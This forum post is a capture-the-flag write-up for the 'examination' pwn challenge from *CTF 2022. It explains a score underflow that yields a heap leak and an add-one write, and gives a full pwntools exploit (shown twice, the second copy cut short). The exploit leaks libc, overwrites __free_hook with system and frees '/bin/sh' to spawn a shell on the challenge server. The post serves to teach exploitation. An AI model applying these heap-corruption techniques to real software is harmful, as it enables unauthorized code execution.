首页
社区
课程
招聘
[starctf]examination writeup
发表于: 2022-4-18 17:55 7637

[starctf]examination writeup

2022-4-18 17:55
7637

第一次在正儿八经的比赛上写出一道pwn,还是很兴奋的,很可能是整个ctf生涯的巅峰了(说不定哪天就放弃了)。
其实第二题babynote的uaf其实看出来了,但学的太少,全新接触musl,搭环境之类的太繁琐了,debug始终出不来mal结构体。求大佬赐教。
回到第一题,正如官方wp所说,时间大部分在于逆向上,相比第二题,洞还是很好看出来的。因为这是一道典型金手指式的ctf题,洞因为肯定在金手指附近嘛。
看了下官方wp,基本是打tcache_struct来获得unsorted bin,个人觉得繁了,毕竟这题是任意add one的金手指啊,个人觉得自己的方法还是不错的。

题目全开,因此很难打got
图片描述
题目大概意思就是能以老师学生两种身份执行一些功能:老师身份有一个菜单,学生身份一个菜单。审计代码后粗略得到两个结构体:student 和 teacher

学生checkReview函数可以得到金手指:如果分数超过131时可以获得堆地址,还能在任意字节处add one
图片描述

因此考虑分数,回到teacher giveScore函数,发现is_lazy为1时可以减10,如果原得分小于10就会溢出。只要question_num为1原分数一定小于10

图片描述
需要注意的是,这题无法直接得到unsorted bin,需要构造得到
因此,我们在有堆地址和任意addone的情况下,设计利用思路

构建unsorted bin本来我也想着打tcache struct,后来发现完全没必要。堆体应该对每个堆的读写权限吃透,再找出相对实用的方式

struct Student
{
  Teacher *teacher;
  __int64 unknown;
  __int64 pray_score;
  int is_lazy;
  int is_reward;
  __int64 unknown2;
};
 
struct Teacher
{
  int question_num;
  int score;
  char *comment;
  __int64 comment_size;
};
struct Student
{
  Teacher *teacher;
  __int64 unknown;
  __int64 pray_score;
  int is_lazy;
  int is_reward;
  __int64 unknown2;
};
 
struct Teacher
{
  int question_num;
  int score;
  char *comment;
  __int64 comment_size;
};
 
 
from pwn import *
context.log_level = 'debug'
 
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
 
#io = process('./examination')
elf = ELF('./examination')
libc = ELF('libc-2.31.so')
io = remote('124.70.130.92', 60001)
def role(idx):
    io.sendlineafter('>>', '5')
    io.sendlineafter('role', str(idx))
 
def comment(idx, size, content):
    io.sendlineafter('>>', '3')
    io.sendlineafter('which one', str(idx))
    io.sendlineafter('comment', str(size))
    io.sendlineafter('comment', content)
 
def add():
    io.sendlineafter('>>', '1')
    io.sendlineafter('questions:', '1')
 
def delete(idx):
    io.sendlineafter('>>', '4')
    io.sendlineafter('choose', str(idx))
 
def edit(idx, content):
    io.sendlineafter('>>', '3')
    io.sendlineafter('which one', str(idx))
    io.sendafter('comment', content)
 
def change_id(idx):
    role(1)
    io.sendlineafter('>>','6')
    io.sendlineafter('id', str(idx))
 
def addr_add_one():
    role(1)
    io.sendlineafter('>>', '3')
    role(0)
    io.sendlineafter('>>', '2')
    role(1)
    io.sendlineafter('>>', '2')
 
def addr_add_one2():
    role(1)
    change_id(2)
    io.sendlineafter('>>', '3')
    role(0)
    io.sendlineafter('>>', '2')
    role(1)
    change_id(2)
    io.sendlineafter('>>', '2')
 
#gdb.attach(io)
io.sendlineafter('role', '0')
add()#0
comment(0, 0x18, 'overlapper')
addr_add_one() #0
io.recvuntil('0x')
heap_addr = int(io.recv(12),16) - 0x2a0
lg('heap addr', heap_addr)
comment_size_addr = heap_addr + 0x2e1
io.sendafter('addr', str(comment_size_addr))
role(0)
 
add()#1
comment(1, 0x18, 'reader')
 
payload = p64(0)*3 + p64(0x31) + p64(heap_addr+0x340) + p64(0)*4 + p64(0x21) + p64(1) + p64(heap_addr + 0x360) + p64(0x200)
edit(0, payload)
 
#leak libc
 
add() #2
comment(2, 0x380, 'leak libc')
add() #3
comment(3, 0xa0, 'helper')
add() #4
addr_add_one2()
unsorted_bin_addr = heap_addr + 0x3c9
io.sendafter('addr', str(unsorted_bin_addr))
role(0)
delete(2)
 
role(1)
change_id(1)
io.sendlineafter('>>', '2')
libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
lg('libc addr', libc_addr)
offset =  0x7f841a9cdbe0 - 0x7f841a7e1000
libc_base = libc_addr - offset
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system']
lg('libc base', libc_base)
 
# pwn
role(0)
payload = p64(0)*3 + p64(0x31) + p64(heap_addr + 0x340) + p64(0)*4 + p64(0x21) + p32(1) + p32(1) + p64(free_hook-8)
edit(0, payload)
edit(1, b'/bin/sh\x00'+p64(sys_addr))
delete(1)
 
#gdb.attach(io)
io.interactive()
from pwn import *
context.log_level = 'debug'
 
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
 
#io = process('./examination')
elf = ELF('./examination')
libc = ELF('libc-2.31.so')
io = remote('124.70.130.92', 60001)
def role(idx):
    io.sendlineafter('>>', '5')
    io.sendlineafter('role', str(idx))
 
def comment(idx, size, content):
    io.sendlineafter('>>', '3')
    io.sendlineafter('which one', str(idx))
    io.sendlineafter('comment', str(size))
    io.sendlineafter('comment', content)
 
def add():
    io.sendlineafter('>>', '1')
    io.sendlineafter('questions:', '1')
 
def delete(idx):
    io.sendlineafter('>>', '4')
    io.sendlineafter('choose', str(idx))
 
def edit(idx, content):
    io.sendlineafter('>>', '3')
    io.sendlineafter('which one', str(idx))
    io.sendafter('comment', content)
 
def change_id(idx):
    role(1)
    io.sendlineafter('>>','6')
    io.sendlineafter('id', str(idx))
 
def addr_add_one():
    role(1)
    io.sendlineafter('>>', '3')
    role(0)
    io.sendlineafter('>>', '2')
    role(1)
    io.sendlineafter('>>', '2')
 

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2022-4-18 17:56 被N1co5in3编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//